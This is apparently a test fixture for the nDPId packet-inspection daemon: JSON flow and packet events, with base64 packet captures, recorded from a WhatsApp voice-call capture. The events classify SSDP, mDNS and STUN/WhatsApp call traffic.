+00858{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455701,"pkt_ts_usec":310940,"pkt_caplen":381,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":381,"pkt_l4_len":347,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAFvHu4AAEAR1D\/AqAIBwKgC\/0RcRFwBW7HJeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiAxNzQ1NjcxOTM5MjIwMTQ2OTg4Njg4NzAzNTEyMjAyNTg3OTI0NDMsICJkaXNwbGF5bmFtZSI6ICIiLCAibmFtZXNwYWNlcyI6IFsxMTgyMzk1NTczLCAxNDIxMTE0Mzk5LCAxODA4MDQ3NjgwLCAxMzcyMDkyNjA5LCAxMjUyMTE2NDI5LCA5OTQ2OTc3MywgNTI1ODAwNzEyMCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNDUxNDcyNjU4LCA0MTc0NjUwODgwLCAyODUyMTYwNywgMTQxNTYyMDM1MF19"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":186,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1561455702980,"flow_last_seen":0,"flow_tot_l4_data_len":63,"flow_min_l4_data_len":63,"flow_max_l4_data_len":63,"flow_avg_l4_data_len":63,"midstream":1,"l3_proto":"ip4","src_ip":"17.171.47.85","dst_ip":"192.168.2.12","src_port":443,"dst_port":50502,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455702,"pkt_ts_usec":980324,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"kLkxKPrKxiwDYGpkCABFAgBT1H4AAC8Gs3ARqy9VwKgCDAG7xUbop23K2+r6qYAYAEJmGwAAAQEICipMBbM0zcKkFQMDABo0yWx0nf4Y8Lruj7Xpo7KOiHQ6o5fprSXAlA=="} +00425{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455702,"pkt_ts_usec":981751,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA01H8AAC8Gs5ARqy9VwKgCDAG7xUbop23p2+r6qYARAEJXLQAAAQEICipMBbM0zcKk"} +00470{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455703,"pkt_ts_usec":144658,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"xiwDYGpkkLkxKPrKCABFAgBTAABAAEAGNu\/AqAIMEasvVcVGAbvb6vqp6KdtyoAYBACmYwAAAQEICjTOOFoqS5CDFQMDABoAAAAAAAAAAyfFNdvhqDfXGuNhDL9lpNkkKA=="} +00425{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455703,"pkt_ts_usec":145864,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGNxDAqAIMEasvVcVGAbvb6vrI6KdtyoARBABS5QAAAQEICjTOOF4qS5CD"} +00409{"flow_id":9,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":193,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455703,"pkt_ts_usec":149128,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkkLkxKPrKCABFAAAoAABAAEAGNxzAqAIMEasvVcVGAbvb6vqpAAAAAFAEAAAOlgAA"} +00409{"flow_id":9,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":194,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455703,"pkt_ts_usec":149308,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkkLkxKPrKCABFAAAoAABAAEAGNxzAqAIMEasvVcVGAbvb6vqpAAAAAFAEAAAOlgAA"} +00409{"flow_id":9,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":195,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455703,"pkt_ts_usec":260399,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kLkxKPrKxiwDYGpkCABFAgAoq3IAAC8G3KcRqy9VwKgCDAG7xUbop23KAAAAAFAEAACOuAAA"} +00409{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455703,"pkt_ts_usec":262823,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"kLkxKPrKxiwDYGpkCABFAAAoq3MAAC8G3KgRqy9VwKgCDAG7xUbop23KAAAAAFAEAACOuAAA"} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":197,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1561455704556,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.162.244","dst_ip":"239.255.255.250","src_port":50384,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00571{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455704,"pkt_ts_usec":556895,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/62DBiVgAcCABFAACa1ogAAP8Rp9yp\/qL07\/\/\/+sTQB2wAhsguTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":197,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1561455704556,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"169.254.162.244","dst_ip":"239.255.255.250","src_port":50384,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":198,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1561455704557,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":50384,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00570{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455704,"pkt_ts_usec":557041,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6xiwDYGpkCABFAACadbUAAAERkPrAqAIB7\/\/\/+sTQB2wAhlJ4TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":198,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1561455704557,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"239.255.255.250","src_port":50384,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":199,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1561455705874,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455705,"pkt_ts_usec":874172,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AQBeAAD7kLkxKPrKCABFAABNhSMAAP8RkszAqAIM4AAA+xTpFOkAOcRFAAAAAAACAAAAAAAABV9yYW9wBF90Y3AFbG9jYWwAAAyAAQhfYWlycGxhecASAAyAAQ=="} +00544{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":199,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1561455705874,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":200,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1561455705874,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::414:409d:8afd:9f05","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455705,"pkt_ts_usec":874523,"pkt_caplen":111,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":111,"pkt_l4_len":57,"pkt":"MzMAAAD7kLkxKPrKht1gDagnADkR\/\/6AAAAAAAAABBRAnYr9nwX\/AgAAAAAAAAAAAAAAAAD7FOkU6QA5+sIAAAAAAAIAAAAAAAAFX3Jhb3AEX3RjcAVsb2NhbAAADIABCF9haXJwbGF5wBIADIAB"} +00553{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":200,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1561455705874,"flow_last_seen":0,"flow_tot_l4_data_len":57,"flow_min_l4_data_len":57,"flow_max_l4_data_len":57,"flow_avg_l4_data_len":57,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::414:409d:8afd:9f05","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_raop._tcp.local"}} +00462{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":881291,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AQBeAAD7kLkxKPrKCABFAABNdOIAAP8Row3AqAIM4AAA+xTpFOkAOUTGAAAAAAACAAAAAAAABV9yYW9wBF90Y3AFbG9jYWwAAAwAAQhfYWlycGxhecASAAwAAQ=="} +00492{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":881597,"pkt_caplen":111,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":111,"pkt_l4_len":57,"pkt":"MzMAAAD7kLkxKPrKht1gDagnADkR\/\/6AAAAAAAAABBRAnYr9nwX\/AgAAAAAAAAAAAAAAAAD7FOkU6QA5e0MAAAAAAAIAAAAAAAAFX3Jhb3AEX3RjcAVsb2NhbAAADAABCF9haXJwbGF5wBIADAAB"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":215,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1561455706912,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.48","src_port":56328,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00566{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":912375,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACav+gAAEARgnnAqAIMHw1WMNwIDZYAhhEmAAMAaiESpEKmZ0918K0sABMVszZAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00521{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":215,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1561455706912,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"31.13.86.48","src_port":56328,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00566{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":912436,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaKEAAAEARGiLAqAIMHw1WMNwIDZYAhhElAAMAaiESpEKmZ0918K0sABMVszdAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":217,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1561455706912,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"185.60.216.51","src_port":56328,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":912561,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa\/egAAEARKEbAqAIMuTzYM9wIDZYAhvTwAAMAaiESpEKmZ0918K0sABMVszhAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":217,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1561455706912,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"185.60.216.51","src_port":56328,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00566{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":912682,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaQnoAAEAR47TAqAIMuTzYM9wIDZYAhvTvAAMAaiESpEKmZ0918K0sABMVszlAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":219,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1561455706913,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.193.48","src_port":56328,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":913062,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaTo8AAEARCe\/AqAIMnfDBMNwIDZYAhic+AAMAaiESpEKmZ0918K0sABMVszpAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":219,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1561455706913,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.193.48","src_port":56328,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00566{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":913136,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACapTEAAEARs0zAqAIMnfDBMNwIDZYAhic9AAMAaiESpEKmZ0918K0sABMVsztAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":221,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1561455706913,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"179.60.192.48","src_port":56328,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00566{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":913639,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa5uYAAEARXUvAqAIMszzAMNwIDZYAhhLwAAMAaiESpEKmZ0918K0sABMVszxAAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00523{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":221,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1561455706913,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"179.60.192.48","src_port":56328,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00566{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":913891,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACaa6sAAEAR2IbAqAIMszzAMNwIDZYAhhLvAAMAaiESpEKmZ0918K0sABMVsz1AAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1561455706914,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.196.62","src_port":56328,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00567{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":914378,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa6jAAAEARaz\/AqAIMnfDEPtwIDZYAhiQsAAMAaiESpEKmZ0918K0sABMVsz5AAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1561455706914,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.196.62","src_port":56328,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.WhatsAppCall","breed":"Acceptable","category":"VoIP"}} +00567{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":914597,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkkLkxKPrKCABFAACa\/isAAEARV0TAqAIMnfDEPtwIDZYAhiQrAAMAaiESpEKmZ0918K0sABMVsz9AAABmBQMIJtiE6i6kxJRLo58phnvyQbwdH1IoGV\/3YC8zAuYePvTeDeuXmJ+hMpM+Z145gcRU0WpajKrpUh0EIdumCzsyn4WKcuXddBNppoCNhIFnLa3lhKJz05n+MdP5HkVFVJtym9c0"} +00454{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455706,"pkt_ts_usec":925823,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"kLkxKPrKxiwDYGpkCABFAABIJPUAAFQRCb8fDVYwwKgCDA2W3AgANMY6AQMAGCESpEKmZ0918K0sABMVszYAIAAIAAHthnGmBnJAAgAIAAABa44DQzM="} 